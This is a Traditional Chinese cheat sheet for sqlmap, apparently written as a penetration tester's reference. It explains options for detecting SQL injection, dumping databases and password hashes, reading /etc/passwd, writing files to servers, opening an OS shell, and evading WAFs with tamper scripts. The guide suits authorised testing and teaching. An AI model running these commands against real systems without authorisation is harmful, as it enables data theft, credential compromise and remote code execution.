###### tags: `sqlmap`
# SQLmap 基本使用
### 基本必須參數(快速)
```bash=
# 更新SQLmap
--update
# 只需確認是否可注入,並只顯示 payload 技術與後端技術
sqlmap -u "URL"
# 獲取資料庫
sqlmap -u "URL" --dbs
# 獲取資料庫所有 table
sqlmap -u "URL" -D database --tables
# 獲取指定 table 之欄位
sqlmap -u "URL" -D database -T table --columns
# 獲取指定 table 之指定欄位資料
sqlmap -u "URL" -D database -T table -C field1,field2 --dump
# 獲取指定 table 之所有欄位資料(就不要-C而已)
sqlmap -u "URL" -D database -T table --dump
# 不指定table,直接獲取該指定DB所有資料
sqlmap -u "URL" -D database --dump-all
```
### 常用參數
```bash=
# 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF
--random-agent
# POST data
# 也可注入json,看網站怎送請求,--data "{'a':1,'b':2}" 或者 --data '{"a":1,"b":2}'
--data "a=1&b=2"
# 使用情境通常發生在,某些登入後的頁面才有注入點,不加cookie就存取不到該網站
# 當然也有些網站即使沒登入,但是沒cookie一樣存取不到
--cookie "SESSION_ID=xxx;abc=xxx;"
# 使用情境通常是不加的話,可能會被後端或者防火牆攔截等等
# 如果在header中已經指定User-Agent,就別加--random-agent參數
--header "User-Agent: Mozilla/5.0 (Windows NT ..."
# 指定注入參數
-p par1,par2
# 跳過注入參數
--skip par1,par2
# 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ
# B = boolean-based
# E = error-based
# U = union-based
# S = stacked-queries
# T = time-based
# Q = inline-queries
--technique BEQU
# 指定 union select 的 column 列數
# 可以手動 fuzzing 出來指定
--union-cols 5
# 指定使用union技術時,每個欄位的值是多少
# 例如,假設已知cols為5,且union select 1,2,3,4,5,2跟5可回顯資料
# 如果我想指定注入2的位置,可以這樣下
# --union-values "1,*,3,4,5"
--union-values "1,*,3,4,5"
# 指定payload前綴
--prefix "'"
# 指定payload後綴
--suffix "-- a"
# 顯示注入過程詳細,數字越大越細
# (0~6,預設是1,常用是3,手動可注入但SQLmap找不到時,可以設6協助debug)
# 使用情境通常發生在fuzzing時的注入
-v 3
# 指定後端資料庫類型
# 中間有空格要使用雙引號,如:"Microsoft Access"
--dbms mysql
# 自動模式,自動選取默認預設選項
--batch
# 跳過防火牆檢測測試
--skip-waf
# 設定SQLmap注入檢測風險技術,等級1~3,預設1
# ps. 原本僅使用AND,會變成OR也使用
# 在某些注入的情境可能會洗到資料庫資料,因此請謹慎使用
--risk N
# 設定SQLmap注入檢測層級,預設 1,每個層級的說明如下
# Level 1:在 Level 1 中,SQLmap 會執行基本的測試,包括以下方面:
# 檢測基本的 SQL 注入點。
# 基於 UNION 運算子的簡單注入測試。
# 基本的布林型注入測試,如 AND/OR payload 測試。
# Level 2:在 Level 2 中,SQLmap 將進行更進一步的測試,包括:
# 檢測複雜的 SQL 注入點,如帶有過濾機制的情況。
# 測試基於時間延遲的注入,以繞過某些安全檢測。
# 測試多個可能的注入點。
# Level 3:在 Level 3 中,SQLmap 將進一步擴展其測試範圍,可能會涉及:
# 檢測 cookie 或其他 HTTP 請求參數中的注入點。
# 測試更複雜的 SQL 注入漏洞,如深度嵌套的 SQL 查詢或存儲過程。
# 測試更多不同類型的資料庫。
# Level 4:在 Level 4 中,SQLmap 將採用更多的高級技術和深度測試,這可能包括:
# 測試對目標系統的各種服務進行深度掃描,以尋找更多的注入點。
# 測試對目標系統進行較為精細的指紋識別,以定制更有效的注入攻擊。
# Level 5:在 Level 5 中,SQLmap 將啟用所有可用的測試和技術,這可能包括:
# 對目標系統的所有輸入點進行廣泛的測試,包括 HTTP 請求中的各種參數和 cookies。
# 使用高度複雜的注入模式,如二次注入、堆疊注入等。
# 對目標系統進行更廣泛和深入的分析,以確定可能存在的漏洞點。
--level N
# 讓SQLmap自己爬網頁上的注入點
--forms
```
### 已成功注入後會使用的參數
```bash=
# 列出資料庫banner,version
-b
# 列出所有DB
--dbs
# 指定DB名稱
-D "DB_Name"
# 列出指定的DB內所有table(需搭配-D參數)
--tables
# 指定table名稱
-T "Table_Name"
# 列出指定的table內所有column(需搭配-T參數)
--columns
# 指定要列出的column資料
-C "account,password"
# 指定不要列出的column資料
-X "id,time"
# 列出指定column的所有資料
# 如無使用-C參數,則列出指定table的所有欄位資料
--dump
# 僅列出 where 條件的資料
# 使用情境通常發生在,你只想找管理員或者某些特定資料,你不想全注入出來
# 如果你只要拿出 user_id 的欄位符合 'admin' 字串的資料
--where "user_id='admin'"
# 列出指定DB內所有table內的資料
# (僅須-D "DB_Name"即可,不需要後面的--table那些)
--dump-all
# 檢測資料庫是否有DBA權限,例如讀檔,寫檔
# 但這個只能參考,不一定準確(個人實戰經驗)
--is-dba
# 獲取SQLi帳號的密碼hash
--passwords
# 檢測當前所使用的DB
--current-db
# 檢測當前使用資料庫的使用者名稱
--current-user
# 嘗試讀取指定路徑下的檔案
--file-read "/etc/passwd"
# 指定嘗試要寫到對方Server的檔案(需搭配--file-dest參數)
# 如果你直接把檔案放在SQLmap目錄,參數不一定要絕對路徑也可以相對路徑
--file-write "/your/file/path"
# 指定Server後端的絕對路徑(需搭配--file-write參數)
--file-dest "/server/root/path"
# 進入模擬SQL指令互動環境
--sql-shell
# 嘗試獲取RCE
--os-shell
# 指定後端寫檔路徑,--os-shell時可用
--web-root "/var/www/html/upload"
# 指定後端系統類型,使用情境通常發生在SQLmap誤判後端作業系統
# 例如要操作讀寫檔,後端為windows,結果寫成linux路徑導致失敗
# 有 windows,macos,linux,unix
--os windows
```
### 例外狀況
當手動測試確定存在注入但是SQLmap檢測不到時
```bash=
# 僅根據渲染完畢的靜態html頁面做比較
--text-only
# 檢測頁面某個字串作為布林注入前後比較值
--string "STR"
# 讓SQLmap別對payload做URL encode編碼
--skip-urlencode
# 讓SQLmap別將字串作轉義
# 例如'abc'不轉義成 0x616263 或 CHAR(97)+CHAR(98)+CHAR(99)
--no-escape
# 設定網頁反應的延遲時間,預設是5,(這裡指的是time-based注入技術時的反應檢測時間)
--time-sec 10
# 可能後端程式有錯誤導致500 http code,且sqlmap因該錯誤無法進行注入
# 但是手動檢測發現會有time-based反應之類的,讓sqlmap忽略500 http code直接注入
--ignore-code 500
```
### 資料無法獲取問題
SQLmap明明已經注入出payload技術,但是獲取資料時卻失敗時(或沒有任何資料),有時候不一定是WAF的攔截,大概率是後端資料解析異常所導致,因此可嘗試加上參數(實戰上蠻常用到的)
```bash=
# 將輸出資料轉換成16進制資料後撈取
--hex
# 不要將注入的數據做編碼或者自動轉換型別
# 例如注入的字元是 var=test[0]'-- a
# 讓SQLmap不要轉換成 var=test%5B0%5D'-- a
--no-cast
```
### 資料亂碼問題
當注入出來的結果為亂碼時,有可能欄位是blob等因素,可以轉成2進制輸出
```bash=
# 忽略存儲在會話文件中的查詢結果
--fresh-queries
# 具有二進制值的結果字段(例如"摘要")
--binary-fields column_name
```
### 常用繞過 WAF 腳本
當防火牆阻擋規則可循不複雜,也可以自己撰寫繞過腳本,請見[撰寫 SQLmap tamper 參數繞過腳本](https://hackmd.io/@bttea/sqlmap_bypass_WAF_script)
```
--tamper space2comment,space2hash,space2mssqlhash
```
### 加速注入
當你非常清楚弱點情況並且想跳過一些測試負載,你可以使用如下參數
```=
python sqlmap.py ... --test-skip='(MySQL > 5)|(MySQL >= 5)'
要不就
python sqlmap.py ... --test-skip='MySQL >=? 5'
```